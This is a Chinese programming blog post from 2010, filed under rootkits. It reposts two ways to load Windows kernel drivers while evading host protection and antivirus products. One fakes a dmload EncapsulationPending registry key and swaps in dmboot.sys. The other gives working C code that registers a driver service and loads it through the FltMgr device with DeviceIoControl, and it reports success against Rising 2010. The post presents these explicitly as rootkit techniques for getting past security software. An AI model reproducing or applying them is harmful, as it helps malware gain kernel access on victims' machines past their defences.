S.l.e!ep.¢%

像打了激速一样,以四倍的速度运转,开心的工作
简单、开放、平等的公司文化;尊重个性、自由与个人价值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

Load Driver

Posted on 2010-07-10 17:19 S.l.e!ep.¢% 阅读(1000) 评论(0)  编辑 收藏 引用 所属分类: RootKit

绕过主防加载驱动的新思路!!!

通过dmload.sys可以实现一种新型的驱动加载方式。
  在dmload的二次驱动重初始化时会调用dmload!DmLoadIsEncapPending来判断\Registry\Machine\System\CurrentControlSet\Services\dmload\EncapsulationPending子键是否存在,如果不存在则调用dmload!DmLoadIsDmioNeeded判断系统是否需要加载dmboot驱动(向disk驱动发送IOCTL_DISK_GET_DRIVE_LAYOUT_EX查询)。而如果存在EncapsulationPending键则直接跳过检测步骤,直接调用ZwLoadDriver加载dmboot驱动。
    因此,我们只要事先伪造一个EncapsulationPending子键,并用我们欲加载的驱动替换掉dmboot.sys(不替换亦可),重启后便可成功加载驱动。


http://b.qzone.qq.com/cgi-bin/blognew/simpleqzone_blog_data?hostuin=95007909&r=0&idm=qzs.qq.com&bdm=b.qzone.qq.com&mdm=m.qzone.qq.com&blogid=1270802371&numperpage=15

一种另类驱动加载办法

2010年04月09日 评论(0)|浏览(75) 点击查看原文

一种另类驱动加载办法

华中科技大学

在这个病毒=Rootkit的时代,驱动的加载无疑是重中之重,自然的,各种ARK以及Hips对驱动也是严加防范,比如ZwLoadDriver,ZwSetsystemInformation等等,这些API大多都被SSDT HOOK了,使用这些API会被拦截掉,从而使得驱动无法加载,不过,也有一些绕过的办法。

微软为windows专门设计了一套微过滤驱动(mini filters),这套驱动是专用于管理文件过滤驱动的加载和运行,很多的虚拟磁盘驱动,还有还原软件常用的磁盘过滤驱动,都是使用微过滤驱动进行加载的,而且一般杀毒软件对这块管的并没有那么严,所以可以从这里下手去加载。

不同于其他的驱动,Minifilter由一个独立的manager管理而不仅仅是SCM(服务管理器),他的全称叫Microsoft File System Filter Manager(想了解更多关于微处理管理器和微过滤驱动的内容,可以到微软官网查询,http://www.microsoft.com/whdc/driver/filterdrv/default.mspx)。

加载驱动的主要代码比较简单

int main( int argc , char *argv[] )

{

HANDLE hDevice;

LOAD service_to_load;

BOOL err;

DWORD dwRet=0;

WCHAR drvPath[512];

memset( drvPath , 0 , 512 );

GetCurrentDirectoryW( MAX_PATH , drvPath );//将驱动放在当前目录下进行加载

lstrcatW( drvPath , L"\\load.sys" );//驱动名称必须为load.sys

make_reg( L"load" , drvPath );

hDevice = CreateFile ("\\\\.\\FltMgr" , GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , NULL );//启用Fltmgr进行驱动的加载

if( hDevice == INVALID_HANDLE_VALUE )

{

printf("CreateFile failed with status : %d\n" , GetLastError() );//这个是错误处理

goto __end;

}

wcscpy( service_to_load.ServiceName , L"load");

service_to_load.Len = wcslen( service_to_load.ServiceName )*sizeof(WCHAR);

err = DeviceIoControl( hDevice , MAGIC_IOCTL , &service_to_load , sizeof(service_to_load) , NULL , 0 , &dwRet , NULL );//传送控制码

if( !err )

{

printf("sorry\n");

goto __end;

}

printf(":)\n");

__end:

CloseHandle( hDevice );

return 0;

}

这段代码和SCM加载驱动的代码基本一致,只不过换成了Fltmgr进行加载。

驱动还需要在注册表中进行服务的注册,不过这个注册和SCM加载的方式一摸一样,也不必多说了。

VOID WINAPI make_reg( LPWSTR szDriverName, LPWSTR szDriverPath )

{

DWORD dwType = SERVICE_KERNEL_DRIVER; //定义注册类型为内核驱动

DWORD dwStart = SERVICE_DEMAND_START; //手动启动服务

HKEY hKey;

WCHAR szMain[512] = {0};

WCHAR szImgPath[512] = {0};

wchar_t szRegPath[512]={0};

wsprintfW( szMain,

L"%s%s",

L"SYSTEM\\CurrentControlSet\\Services\\",

szDriverName );//在service键值下注册

wsprintfW( szImgPath,

L"%s%s",

L"\\??\\",

szDriverPath);

if( RegCreateKeyW( HKEY_LOCAL_MACHINE, szMain, &hKey ) == ERROR_SUCCESS )

{

RegSetValueExW( hKey,

L"DisplayName",

0,

REG_SZ,

(LPBYTE)szDriverName,

(DWORD)lstrlenW(szDriverName)*2);

RegSetValueExW( hKey,

L"ImagePath",

0,

REG_EXPAND_SZ,

(LPBYTE)szImgPath,

(DWORD)lstrlenW(szImgPath)*2);

RegSetValueExW( hKey,

L"Type",

0,

REG_DWORD,

(LPBYTE)&dwType,

(DWORD)sizeof(dwType) );

RegSetValueExW( hKey,

L"Start",

0,

REG_DWORD,

(LPBYTE)&dwStart,

(DWORD)sizeof(dwStart) );

}

}

这种方法经过测试,可以过瑞星2010最新版,360过不了,其他的待测,网吧的驱动防火墙不知能不能过,也许可以尝试下……

如果对驱动的加载方式以及原理不是特别了解,可以去参考Programming The Windows Driver Model。


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理